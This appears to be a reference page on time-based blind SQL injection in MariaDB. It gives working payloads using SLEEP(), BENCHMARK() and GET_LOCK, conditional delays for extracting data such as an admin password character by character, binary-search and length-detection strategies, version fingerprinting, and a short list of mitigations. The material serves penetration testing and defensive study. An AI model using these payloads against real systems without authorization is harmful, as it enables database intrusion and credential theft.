mariadb

Timing

Using time-based techniques in MariaDB injections

Timing

Time-based SQL injection is particularly useful in blind scenarios where no visible output is returned from the database. By causing deliberate delays in the database response, an attacker can infer whether a condition is true or false based on the time it takes for the page to load.

SLEEP() Function

FunctionDescriptionReturn Value
SLEEP(seconds)Pauses execution for the specified number of seconds0 on success

Basic Usage

-- Sleep for 5 seconds
SELECT SLEEP(5)

-- Sleep with decimal precision
SELECT SLEEP(0.5)

-- SLEEP(0) returns immediately
SELECT SLEEP(0)

-- SLEEP returns 0 on success
SELECT SLEEP(1) AS result
-- Returns: 0

SLEEP in Expressions

-- SLEEP can be used in expressions
SELECT 1 + SLEEP(3)

-- Multiple SLEEP calls are cumulative
SELECT SLEEP(2), SLEEP(2)
-- Total delay: 4 seconds

Basic Sleep Injection

-- AND pattern
' AND SLEEP(5)--

-- OR pattern
' OR SLEEP(5)--

If the query takes an additional 5 seconds to return, the injection was successful.

SLEEP in UNION Injection

SELECT id, username FROM users WHERE id = 999
UNION SELECT SLEEP(5), 'test'

SLEEP in Subquery

SELECT * FROM users WHERE id = (SELECT SLEEP(5))

Conditional Sleep

More useful for data extraction is conditional sleep, which only triggers the delay if a specific condition is true:

Using IF()

-- Basic conditional
' AND IF(condition, SLEEP(5), 0)--

-- True condition causes delay
SELECT IF(1=1, SLEEP(5), 0)

-- False condition returns immediately
SELECT IF(1=2, SLEEP(5), 0)

Using CASE WHEN

SELECT CASE WHEN 1=1 THEN SLEEP(5) ELSE 0 END

Conditional SLEEP in WHERE Clause

SELECT * FROM users WHERE id = 1 AND IF(username='admin', SLEEP(5), 0) = 0

Extracting Data Character by Character

Direct Character Comparison

-- Test if first character is 'a'
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0)--

-- Wrong character doesn't cause delay
' AND IF(SUBSTRING((SELECT username FROM users WHERE id = 1),1,1)='z', SLEEP(5), 0)--

ASCII Comparison

-- Extract using ASCII value (97 = 'a')
SELECT IF(
  ASCII(SUBSTRING((SELECT username FROM users WHERE id = 1), 1, 1)) = 97,
  SLEEP(5), 0
)

Binary Search Pattern

More efficient than testing each character individually:

-- Check if character > threshold (binary search upper half)
SELECT IF(
  ASCII(SUBSTRING((SELECT username FROM users WHERE id = 1), 1, 1)) > 90,
  SLEEP(5), 0
)
-- 'a' = 97 > 90, so delays

-- Check if character <= threshold (binary search lower half)
SELECT IF(
  ASCII(SUBSTRING((SELECT username FROM users WHERE id = 1), 1, 1)) > 100,
  SLEEP(5), 0
)
-- 'a' = 97 <= 100, so no delay

Length Extraction

-- Check if length equals specific value
SELECT IF(
  LENGTH((SELECT username FROM users WHERE id = 1)) = 5,
  SLEEP(5), 0
)
-- 'admin' has 5 characters, so delays

BENCHMARK() Function

FunctionDescriptionReturn Value
BENCHMARK(count, expr)Executes expression count times0 on success

Basic Usage

-- Execute SHA1 100 million times
' AND BENCHMARK(100000000, SHA1(1))--

-- Low iterations complete quickly
SELECT BENCHMARK(100, SHA1('test'))

-- High iterations cause measurable delay
SELECT BENCHMARK(10000000, SHA1('test'))

Alternative Hash Functions

-- Using MD5
SELECT BENCHMARK(10000000, MD5('test'))

-- Using AES_ENCRYPT
SELECT BENCHMARK(10000, AES_ENCRYPT('test', 'key'))

Conditional BENCHMARK

-- True condition executes benchmark
SELECT IF(1=1, BENCHMARK(10000000, SHA1('test')), 0)

-- False condition skips benchmark (fast)
SELECT IF(1=2, BENCHMARK(100000000, SHA1('test')), 0)

-- With data check
SELECT IF(
  (SELECT COUNT(*) FROM users) > 0,
  BENCHMARK(10000000, SHA1('test')), 0
)

Extracting Database Version

-- Testing if MariaDB version starts with '1' (10.x or 11.x)
' AND IF(SUBSTRING(@@version,1,1)='1', SLEEP(3), 0)--

-- Testing if version is 10.x or 11.x
SELECT IF(SUBSTRING(@@version,1,3) IN ('10.', '11.'), SLEEP(3), 0)

-- Testing specific version
' AND IF(SUBSTRING(@@version,1,4)='10.6', SLEEP(3), 0)--

-- Version detection with BENCHMARK
SELECT IF(
  SUBSTRING(@@version,1,2) IN ('10', '11'),
  BENCHMARK(10000000, SHA1('test')), 0
)

Additional Timing Techniques

GET_LOCK as Timing Primitive

-- GET_LOCK can be used for timing (has side effects - see below)
SELECT GET_LOCK('lock_name', 5)
-- Returns 1 if lock acquired, 0 if timeout, NULL on error

-- Re-acquiring the same lock on the same connection returns 1
SELECT GET_LOCK('lock_name', 5)
-- Returns 1 (same connection can re-acquire its own locks)

-- Release the lock
SELECT RELEASE_LOCK('lock_name')

Important Side Effects:

  • Persistence: Named locks persist until explicitly released via RELEASE_LOCK() or until the connection closes
  • Connection-specific: Only the connection that acquired the lock can release it; other connections attempting GET_LOCK() with the same name will block (or timeout)
  • Blocking behavior: If another session holds the lock, GET_LOCK() will wait up to the specified timeout, potentially interfering with other clients
  • Best practice for testing: Use random or unique lock names (e.g., CONCAT('test_', UUID())) and short timeouts to avoid cross-request interference

Heavy Computation

-- Repeated string operations
SELECT IF(1=1, LENGTH(REPEAT(SHA1('x'), 10000)), 0)

Timing in Injection Context

Boolean Inference

-- True condition delays
SELECT * FROM users WHERE id = 1
AND IF((SELECT COUNT(*) FROM users WHERE username = 'admin') > 0, SLEEP(5), 0)

-- False condition is fast
SELECT * FROM users WHERE id = 1
AND IF((SELECT COUNT(*) FROM users WHERE username = 'nonexistent') > 0, SLEEP(5), 0)

Stacked Query Timing

-- Stacked queries (multiple statements separated by semicolon)
SELECT 1; SELECT SLEEP(5)
-- Note: MariaDB doesn't support stacked queries in single query by default
-- Behavior depends on client configuration and connection settings
-- May fail or be rejected in most standard configurations

ORDER BY with Timing

SELECT * FROM users ORDER BY IF(1=1, SLEEP(5), username)

Data Exfiltration Strategy

A time-based attack to extract data typically involves:

  1. Determine length: Use timing to find string length
  2. Binary search: For each position, use > and <= comparisons
  3. Narrow down: Reduce range until character is identified
  4. Repeat: Move to next character position

Efficiency Tips

  • Use binary search (halves possibilities each request)
  • Start with length detection to know when to stop
  • Account for network latency with multiple samples
  • Use shorter sleep times when possible

Mitigations

  1. Query execution timeouts
  2. Blocking SLEEP() and BENCHMARK() functions
  3. Parameterized queries to prevent SQL injection
  4. Web Application Firewalls (WAF) that detect timing-based attacks
  5. Rate limiting on endpoints

Notes

  • Time-based techniques are generally slower than other injection methods
  • Network latency can cause false positives/negatives
  • Multiple requests may be needed to confirm results
  • Modern servers may implement protection against these attacks
  • BENCHMARK timing varies with server load